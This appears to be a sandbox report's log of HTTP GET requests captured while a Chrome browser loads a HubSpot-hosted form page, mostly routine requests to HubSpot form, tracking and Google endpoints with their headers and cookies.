Source: global traffic	HTTP traffic detected: GET /o9U8AvPuX9gkIYtYfNmH-_wBdTfOJ7jb0VwbLWWbERzml7oTPngODhKv2Br7A64=w64 HTTP/1.1Host: lh3.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCNy9zQEIucrNAQi2y80BCOnSzQEIitPNAQjB1M0BCM/WzQEI49bNAQiO180BCKfYzQEIutjNAQj5wNQVGLi/zQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://support.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o9U8AvPuX9gkIYtYfNmH-_wBdTfOJ7jb0VwbLWWbERzml7oTPngODhKv2Br7A64=w64 HTTP/1.1Host: lh3.googleusercontent.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collectedforms.js HTTP/1.1Host: js.hscollectedforms.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=d1ASo8J1NnJGHYfSaRYq3M8CIed0HFFDaK2KNXYUH88-1734371131-1.0.1.1-Cx5JNvC.POCAHUuYwHduuoOfDgglCmo5B0OwtJ5A8WQqp0j2OpdC.lUyobF7qbdClyg1j6w_THNQKC6A8DKqNAIf-None-Match: W/"ceb8bcb73e5536d8416735a3977d227a"If-Modified-Since: Mon, 09 Dec 2024 13:03:17 UTC
Source: global traffic	HTTP traffic detected: GET /collected-forms/v1/config/json?portalId=48192692&utk=f969d8b384270839a01465c358727fa6 HTTP/1.1Host: forms.hscollectedforms.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://share.hsforms.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926&hutk=f969d8b384270839a01465c358727fa6 HTTP/1.1Host: forms.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://share.hsforms.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371160862&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1Host: forms.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /collected-forms/v1/config/json?portalId=48192692&utk=f969d8b384270839a01465c358727fa6 HTTP/1.1Host: forms.hscollectedforms.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=d1ASo8J1NnJGHYfSaRYq3M8CIed0HFFDaK2KNXYUH88-1734371131-1.0.1.1-Cx5JNvC.POCAHUuYwHduuoOfDgglCmo5B0OwtJ5A8WQqp0j2OpdC.lUyobF7qbdClyg1j6w_THNQKC6A8DKqNA
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /embed/v3/form/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926&hutk=f969d8b384270839a01465c358727fa6 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=15&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371162607&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371160862&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=17&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371162629&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=Ykv6Hy2bbRDbrDBV7t0AIq7l8ocwdWSaoxvWHK8m5dVuCQpUJaKPd5U3HiTO7g1DTkoINtzVypTR6hGAMvML4KlzSVA84TTeXWjH4bIbC06auEo4huyAnBFv6XWWBZvzSf5GKCWZR6SH9RU4B-EC42mOylEGih-OQ_pWt4B9UNcplMfmQUVFE_UUFWn5-As
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1Host: forms.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-DEFINITION_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1Host: forms-na1.hsforms.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=15&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371162607&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=17&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371162629&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /generate_204 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCNy9zQEIucrNAQi2y80BCOnSzQEIitPNAQjB1M0BCM/WzQEI49bNAQiO180BCKfYzQEIutjNAQj5wNQVGLi/zQEY9snNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://support.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=18&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371164801&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://share.hsforms.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=520=NtfrvMQx9wm9FQXsy7lXLw4B0Dxgjvo_9l1JJCUbpOv4q9J5O1765l3YZ-lQSpl2MjeQz_PRI9lCx8E1rq_OhErjV6f99d2mot-zMV31E7StGplHiQDe2yLfYxCnm93R30wEi5u7HsJ-ZTEw2QTTQdMqzX5DX3YzKuw9YMsUHyEGdEYpgJDuaIkdznQaNuU
Source: global traffic	HTTP traffic detected: GET /__ptq.gif?k=18&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371164801&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1Host: track.hubspot.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: 